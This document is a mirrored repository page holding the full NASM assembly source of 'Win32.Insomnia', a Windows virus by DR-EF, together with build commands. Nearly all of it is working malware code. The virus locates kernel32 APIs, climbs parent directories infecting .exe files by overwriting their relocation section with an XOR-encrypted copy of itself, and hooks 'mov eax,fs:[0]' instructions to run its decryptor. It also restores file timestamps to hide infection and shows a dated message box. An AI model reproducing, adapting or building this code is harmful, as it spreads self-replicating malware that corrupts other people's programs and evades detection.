mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
469 lines
10 KiB
NASM
469 lines
10 KiB
NASM
|
; Win32.Insomnia (c) DR-EF.
|
|||
|
;--------------------------------------------------
|
|||
|
;virus name:Win32.Insomnia
|
|||
|
;virus author:DR-EF
|
|||
|
;virus size:1972 bytes
|
|||
|
;features:
|
|||
|
; o dont increase file size,overwrite reloc
|
|||
|
; section instead.
|
|||
|
; o use EPO - replace all mov eax,fs:[00000000]
|
|||
|
; instructions with call virus decryptor.
|
|||
|
; o encrypted with new key for each file.
|
|||
|
; o use the dotdot method to find files.
|
|||
|
;payload:messagebox with this text:
|
|||
|
; ".:[Win32.Insomnia <20> 2004 DR-EF]:."
|
|||
|
; every year at 29/12.
|
|||
|
;compile:
|
|||
|
; tasm32 /m3 /ml /zi Insomnia.asm , , ;
|
|||
|
; tlink32 /tpe /aa /v Insomnia , Insomnia,,import32.lib
|
|||
|
; pewrsec Insomnia.exe
|
|||
|
;--------------------------------------------------
|
|||
|
|
|||
|
.386
|
|||
|
.model flat
|
|||
|
|
|||
|
extrn ExitProcess:proc
|
|||
|
|
|||
|
virus_size equ (EndVirus-virus_start)
|
|||
|
INVALID_HANDLE_VALUE equ -1
|
|||
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
|||
|
OPEN_EXISTING equ 3
|
|||
|
GENERIC_WRITE equ 40000000h
|
|||
|
GENERIC_READ equ 80000000h
|
|||
|
PAGE_READWRITE equ 4h
|
|||
|
FILE_MAP_WRITE equ 00000002h
|
|||
|
|
|||
|
.data
|
|||
|
db ?
|
|||
|
.code
|
|||
|
|
|||
|
virus_start:
|
|||
|
call Delta
|
|||
|
Delta: pop ebp
|
|||
|
sub ebp,offset Delta
|
|||
|
mov ecx,NumberOfKernelBases
|
|||
|
lea esi,[ebp + KernelBaseTable]
|
|||
|
@next_k:lodsd
|
|||
|
call GetKernel32Base
|
|||
|
jc GetApis
|
|||
|
loop @next_k
|
|||
|
jmp reth ;return to host
|
|||
|
KernelBaseTable:
|
|||
|
dd 804d4000h ;winXP
|
|||
|
dd 0bff60000h ;winME
|
|||
|
dd 77f00000h ;winNT
|
|||
|
dd 77e70000h ;win2K
|
|||
|
dd 0bff70000h ;win9X
|
|||
|
NumberOfKernelBases equ 5h
|
|||
|
|
|||
|
GetApis:mov eax,[ebp + kernel32base]
|
|||
|
add eax,[eax + 3ch]
|
|||
|
mov eax,[eax + 78h]
|
|||
|
add eax,[ebp + kernel32base]
|
|||
|
;eax - kernel32 export table
|
|||
|
push eax
|
|||
|
xor edx,edx
|
|||
|
mov eax,[eax + 20h]
|
|||
|
add eax,[ebp + kernel32base]
|
|||
|
mov edi,[eax]
|
|||
|
add edi,[ebp + kernel32base]
|
|||
|
;edi - api names array
|
|||
|
dec edi
|
|||
|
nxt_cmp:inc edi
|
|||
|
lea esi,[ebp + _GetProcAddress]
|
|||
|
mov ecx,0eh
|
|||
|
rep cmpsb
|
|||
|
je search_address
|
|||
|
inc edx
|
|||
|
nxt_l: cmp byte ptr [edi],0h
|
|||
|
je nxt_cmp
|
|||
|
inc edi
|
|||
|
jmp nxt_l
|
|||
|
search_address:
|
|||
|
pop eax
|
|||
|
;eax - kernel32 export table
|
|||
|
;edx - GetProcAddress position
|
|||
|
shl edx,1h
|
|||
|
mov ebx,[eax + 24h]
|
|||
|
add ebx,[ebp + kernel32base]
|
|||
|
add ebx,edx
|
|||
|
mov dx,word ptr [ebx]
|
|||
|
shl edx,2h
|
|||
|
mov ebx,[eax + 1ch]
|
|||
|
add ebx,[ebp + kernel32base]
|
|||
|
add ebx,edx
|
|||
|
mov ebx,[ebx]
|
|||
|
add ebx,[ebp + kernel32base]
|
|||
|
mov [ebp + GetProcAddress],ebx
|
|||
|
mov ecx,NumberOfApis
|
|||
|
lea eax,[ebp + ApiNamesTable]
|
|||
|
lea ebx,[ebp + ApiAddressTable]
|
|||
|
nxt_api:push ecx
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push [ebp + kernel32base]
|
|||
|
call [ebp + GetProcAddress]
|
|||
|
or eax,eax
|
|||
|
je api_err
|
|||
|
mov dword ptr [ebx],eax
|
|||
|
pop eax
|
|||
|
nxt_al: inc eax
|
|||
|
cmp byte ptr [eax],0h
|
|||
|
jne nxt_al
|
|||
|
inc eax
|
|||
|
add ebx,4h
|
|||
|
pop ecx
|
|||
|
loop nxt_api
|
|||
|
jmp InfectFiles
|
|||
|
api_err:add esp,8h
|
|||
|
jmp reth
|
|||
|
|
|||
|
_GetProcAddress db "GetProcAddress",0
|
|||
|
GetProcAddress dd 0
|
|||
|
kernel32base dd 0
|
|||
|
|
|||
|
ApiNamesTable:
|
|||
|
_FindFirstFile db "FindFirstFileA",0
|
|||
|
_FindNextFile db "FindNextFileA",0
|
|||
|
_GetCurrentDirectory db "GetCurrentDirectoryA",0
|
|||
|
_SetCurrentDirectory db "SetCurrentDirectoryA",0
|
|||
|
_CreateFile db "CreateFileA",0
|
|||
|
_CloseHandle db "CloseHandle",0
|
|||
|
_CreateFileMapping db "CreateFileMappingA",0
|
|||
|
_MapViewOfFile db "MapViewOfFile",0
|
|||
|
_UnmapViewOfFile db "UnmapViewOfFile",0
|
|||
|
_GetLocalTime db "GetLocalTime",0
|
|||
|
_LoadLibrary db "LoadLibraryA",0
|
|||
|
_SetFileTime db "SetFileTime",0
|
|||
|
|
|||
|
ApiAddressTable:
|
|||
|
FindFirstFile dd 0
|
|||
|
FindNextFile dd 0
|
|||
|
GetCurrentDirectory dd 0
|
|||
|
SetCurrentDirectory dd 0
|
|||
|
CreateFile dd 0
|
|||
|
CloseHandle dd 0
|
|||
|
CreateFileMapping dd 0
|
|||
|
MapViewOfFile dd 0
|
|||
|
UnmapViewOfFile dd 0
|
|||
|
GetLocalTime dd 0
|
|||
|
LoadLibrary dd 0
|
|||
|
SetFileTime dd 0
|
|||
|
|
|||
|
NumberOfApis equ 12
|
|||
|
|
|||
|
GetKernel32Base:
|
|||
|
pushad
|
|||
|
lea ebx,[ebp + k32err]
|
|||
|
push ebx
|
|||
|
xor ebx,ebx
|
|||
|
push dword ptr fs:[ebx]
|
|||
|
mov fs:[ebx],esp
|
|||
|
mov ebx,eax
|
|||
|
cmp word ptr [eax],"ZM"
|
|||
|
jne _k32err
|
|||
|
add eax,[eax + 3ch]
|
|||
|
cmp word ptr [eax],"EP"
|
|||
|
jne _k32err
|
|||
|
mov [ebp + kernel32base],ebx
|
|||
|
pop dword ptr fs:[0]
|
|||
|
add esp,4h
|
|||
|
popad
|
|||
|
stc
|
|||
|
ret
|
|||
|
_k32err:pop dword ptr fs:[0]
|
|||
|
add esp,4h
|
|||
|
popad
|
|||
|
clc
|
|||
|
ret
|
|||
|
k32err: mov esp,[esp + 8h]
|
|||
|
pop dword ptr fs:[0]
|
|||
|
add esp,4h
|
|||
|
popad
|
|||
|
clc
|
|||
|
ret
|
|||
|
|
|||
|
VirusCopyRight db ".:[Win32.Insomnia <20> 2004 DR-EF]:.",0
|
|||
|
|
|||
|
InfectFiles:
|
|||
|
mov [ebp + max_dirs],0fh
|
|||
|
lea eax,[ebp + cdir]
|
|||
|
push eax
|
|||
|
push 0ffh
|
|||
|
call [ebp + GetCurrentDirectory]
|
|||
|
or eax,eax
|
|||
|
je ReturnToHost
|
|||
|
s_files:cmp [ebp + max_dirs],0h
|
|||
|
je r_dir
|
|||
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|||
|
push eax
|
|||
|
lea eax,[ebp + search_mask]
|
|||
|
push eax
|
|||
|
call [ebp + FindFirstFile]
|
|||
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
je nxt_dir
|
|||
|
mov [ebp + hfind],eax
|
|||
|
i_file: call InfectFile
|
|||
|
lea eax,[ebp + WIN32_FIND_DATA]
|
|||
|
push eax
|
|||
|
push [ebp + hfind]
|
|||
|
call [ebp + FindNextFile]
|
|||
|
or eax,eax
|
|||
|
jne i_file
|
|||
|
nxt_dir:dec [ebp + max_dirs]
|
|||
|
lea eax,[ebp + dotdot]
|
|||
|
push eax
|
|||
|
call [ebp + SetCurrentDirectory]
|
|||
|
or eax,eax
|
|||
|
jne s_files
|
|||
|
r_dir: lea eax,[ebp + cdir]
|
|||
|
push eax
|
|||
|
call [ebp + SetCurrentDirectory]
|
|||
|
ReturnToHost:
|
|||
|
;check for payload:
|
|||
|
lea eax,[ebp + SYSTEMTIME]
|
|||
|
push eax
|
|||
|
call [ebp + GetLocalTime]
|
|||
|
cmp word ptr [ebp + wMonth],0ch
|
|||
|
jne reth
|
|||
|
cmp word ptr [ebp + wDay],1dh
|
|||
|
jne reth
|
|||
|
lea eax,[ebp + user32dll]
|
|||
|
push eax
|
|||
|
call [ebp + LoadLibrary]
|
|||
|
or eax,eax
|
|||
|
je reth
|
|||
|
lea ebx,[ebp + MessageBox]
|
|||
|
push ebx
|
|||
|
push eax
|
|||
|
call [ebp + GetProcAddress]
|
|||
|
or eax,eax
|
|||
|
je reth
|
|||
|
xor ecx,ecx
|
|||
|
push MB_ICONINFORMATION or MB_SYSTEMMODAL
|
|||
|
push ecx
|
|||
|
lea ebx,[ebp + VirusCopyRight]
|
|||
|
push ebx
|
|||
|
push ecx
|
|||
|
call eax
|
|||
|
reth: popfd
|
|||
|
popad
|
|||
|
db 64h,0A1h,0,0,0,0 ;mov eax,fs:[00000000]
|
|||
|
ret
|
|||
|
|
|||
|
|
|||
|
SYSTEMTIME:
|
|||
|
wYear dw 0
|
|||
|
wMonth dw 0
|
|||
|
wDayOfWeek dw 0
|
|||
|
wDay dw 0
|
|||
|
wHour dw 0
|
|||
|
wMinute dw 0
|
|||
|
wSecond dw 0
|
|||
|
wMilliseconds dw 0
|
|||
|
|
|||
|
user32dll db "user32.dll",0
|
|||
|
MessageBox db "MessageBoxA",0
|
|||
|
MB_SYSTEMMODAL equ 00001000h
|
|||
|
MB_ICONINFORMATION equ 00000040h
|
|||
|
|
|||
|
|
|||
|
hfind dd 0
|
|||
|
max_dirs db 0fh
|
|||
|
search_mask db "*.exe",0
|
|||
|
dotdot db "..",0
|
|||
|
cdir db 0ffh dup(0)
|
|||
|
|
|||
|
|
|||
|
WIN32_FIND_DATA:
|
|||
|
dwFileAttributes dd 0
|
|||
|
ftCreationTime dq 0
|
|||
|
ftLastAccessTime dq 0
|
|||
|
ftLastWriteTime dq 0
|
|||
|
nFileSizeHigh dd 0
|
|||
|
nFileSizeLow dd 0
|
|||
|
dwReserved0 dd 0
|
|||
|
dwReserved1 dd 0
|
|||
|
cFileName db 0ffh dup (0)
|
|||
|
cAlternateFileName db 20 dup (0)
|
|||
|
|
|||
|
|
|||
|
InfectFile:
|
|||
|
inc byte ptr [ebp + decrypt_key] ;create new key
|
|||
|
lea ebx,[ebp + cFileName]
|
|||
|
xor eax,eax
|
|||
|
push eax
|
|||
|
push FILE_ATTRIBUTE_NORMAL
|
|||
|
push OPEN_EXISTING
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push GENERIC_READ or GENERIC_WRITE
|
|||
|
push ebx
|
|||
|
call [ebp + CreateFile]
|
|||
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
je ExitInfect
|
|||
|
mov [ebp + hfile],eax
|
|||
|
xor eax,eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push PAGE_READWRITE
|
|||
|
push eax
|
|||
|
push [ebp + hfile]
|
|||
|
call [ebp + CreateFileMapping]
|
|||
|
or eax,eax
|
|||
|
je close_f
|
|||
|
mov [ebp + hmap],eax
|
|||
|
xor eax,eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push eax
|
|||
|
push FILE_MAP_WRITE
|
|||
|
push [ebp + hmap]
|
|||
|
call [ebp + MapViewOfFile]
|
|||
|
or eax,eax
|
|||
|
je close_m
|
|||
|
mov [ebp + mapbase],eax
|
|||
|
;check for valid pe file
|
|||
|
cmp word ptr [eax],"ZM"
|
|||
|
jne CloseFile
|
|||
|
add eax,[eax + 3ch]
|
|||
|
cmp word ptr [eax],"EP"
|
|||
|
jne CloseFile
|
|||
|
;goto sections table
|
|||
|
mov cx,[eax + 6h] ; get number of sections
|
|||
|
and ecx,0ffffh
|
|||
|
mov ebx,[eax + 34h];get image base
|
|||
|
mov dword ptr [ebp + Virus_Start],ebx ;save image base insaid decryptor
|
|||
|
mov ebx,[eax + 74h];get number of datadirectory
|
|||
|
shl ebx,3h
|
|||
|
add eax,ebx
|
|||
|
add eax,78h
|
|||
|
push eax ;eax - sections table
|
|||
|
push ecx ;ecx - number of sections
|
|||
|
;check for reloc section
|
|||
|
@sec: cmp dword ptr [eax],"ler."
|
|||
|
jne nxt_sec
|
|||
|
cmp dword ptr [eax + 2h],"cole"
|
|||
|
je f_rec
|
|||
|
nxt_sec:add eax,28h
|
|||
|
loop @sec
|
|||
|
ext_rlc:add esp,8h ;restore stack
|
|||
|
jmp CloseFile
|
|||
|
;check if the reloc section is bigger than virus
|
|||
|
f_rec: cmp dword ptr [eax + 8h],virus_size ;eax - reloc section header !
|
|||
|
jb ext_rlc
|
|||
|
;set new section flags
|
|||
|
or dword ptr [eax + 24h],0c0000020h ;code\readable\writeable
|
|||
|
;goto the section raw data:
|
|||
|
mov edx,[eax + 0ch]
|
|||
|
mov eax,[eax + 14h]
|
|||
|
add eax,[ebp + mapbase]
|
|||
|
;overwrite the reloc section with the virus
|
|||
|
mov edi,eax
|
|||
|
lea esi,[ebp + virus_start]
|
|||
|
mov ecx,virus_size
|
|||
|
@enc: lodsb
|
|||
|
xor al,byte ptr [ebp + decrypt_key]
|
|||
|
stosb
|
|||
|
loop @enc
|
|||
|
pop ecx ;ecx - number of sections
|
|||
|
pop ebx ;ebx - sections table
|
|||
|
sub eax,[ebp + mapbase]
|
|||
|
add dword ptr [ebp + Virus_Start],edx ;eax - virus start infected files
|
|||
|
@sec2: cmp dword ptr [ebx + 1h],"txet" ;text ?
|
|||
|
je f_cod
|
|||
|
cmp dword ptr [ebx + 1h],"edoc" ;code ?
|
|||
|
je f_cod
|
|||
|
cmp dword ptr [ebx],"EDOC" ;CODE ?
|
|||
|
je f_cod
|
|||
|
add ebx,28h
|
|||
|
loop @sec2
|
|||
|
add esp,4h ;restore stack
|
|||
|
jmp CloseFile
|
|||
|
;ebx - code section header
|
|||
|
f_cod: mov ecx,[ebx + 10h] ;ecx - size of section raw data
|
|||
|
mov edx,[ebx + 8h] ;edx - virtual section size
|
|||
|
sub ecx,edx
|
|||
|
cmp ecx,DecryptorSize
|
|||
|
ja write_d
|
|||
|
add esp,4h
|
|||
|
jmp CloseFile
|
|||
|
write_d:mov edi,[ebx + 14h]
|
|||
|
mov [ebp + virus_entry_point],edi
|
|||
|
add [ebp + virus_entry_point],edx
|
|||
|
add edi,[ebp + mapbase]
|
|||
|
push edi ;save code section raw data
|
|||
|
add edi,edx ;esi - where to write virus decryptor
|
|||
|
lea esi,[ebp + VirusDecryptorStart]
|
|||
|
mov ecx,DecryptorSize
|
|||
|
rep movsb
|
|||
|
pop esi ;esi - code section raw data
|
|||
|
;search for all mov eax,fs:[00000000] and replace it with nop --> call virus_decryptor
|
|||
|
xchg edx,ecx ;ecx - code section virtual size
|
|||
|
@1: cmp word ptr [esi],0a164h
|
|||
|
jne nxt_w
|
|||
|
cmp dword ptr [esi + 2],0
|
|||
|
jne nxt_w
|
|||
|
;esi - mov eax,fs:[00000000] location.
|
|||
|
mov byte ptr [esi],90h ;nop
|
|||
|
mov byte ptr [esi + 1h],0e8h;call
|
|||
|
mov eax,[ebp + virus_entry_point]
|
|||
|
mov ebx,esi
|
|||
|
sub ebx,[ebp + mapbase]
|
|||
|
sub eax,ebx
|
|||
|
sub eax,6h
|
|||
|
mov dword ptr [esi + 2h],eax
|
|||
|
nxt_w: inc esi
|
|||
|
loop @1
|
|||
|
CloseFile:
|
|||
|
push [ebp + mapbase]
|
|||
|
call [ebp + UnmapViewOfFile]
|
|||
|
close_m:push [ebp + hmap]
|
|||
|
call [ebp + CloseHandle]
|
|||
|
close_f:lea eax,[ebp + ftLastWriteTime]
|
|||
|
push eax
|
|||
|
lea eax,[ebp + ftLastAccessTime]
|
|||
|
push eax
|
|||
|
lea eax,[ebp + ftCreationTime]
|
|||
|
push eax
|
|||
|
push [ebp + hfile]
|
|||
|
call [ebp + SetFileTime]
|
|||
|
push [ebp + hfile]
|
|||
|
call [ebp + CloseHandle]
|
|||
|
ExitInfect:
|
|||
|
ret
|
|||
|
|
|||
|
VirusDecryptorStart equ $
|
|||
|
pushad
|
|||
|
pushfd
|
|||
|
mov esi,00000000
|
|||
|
Virus_Start equ $-4
|
|||
|
push esi
|
|||
|
mov edi,esi
|
|||
|
mov ecx,virus_size
|
|||
|
@dcrypt:lodsb
|
|||
|
xor al,5h
|
|||
|
decrypt_key equ $-1
|
|||
|
stosb
|
|||
|
loop @dcrypt
|
|||
|
ret
|
|||
|
EndVirusDecryptor equ $
|
|||
|
DecryptorSize equ (EndVirusDecryptor - VirusDecryptorStart)
|
|||
|
|
|||
|
hfile dd 0
|
|||
|
hmap dd 0
|
|||
|
mapbase dd 0
|
|||
|
virus_entry_point dd 0
|
|||
|
|
|||
|
EndVirus equ $
|
|||
|
|
|||
|
First_Gen_Host:
|
|||
|
push offset exit
|
|||
|
pushfd
|
|||
|
pushad
|
|||
|
jmp virus_start
|
|||
|
exit: push eax
|
|||
|
call ExitProcess
|
|||
|
end First_Gen_Host
|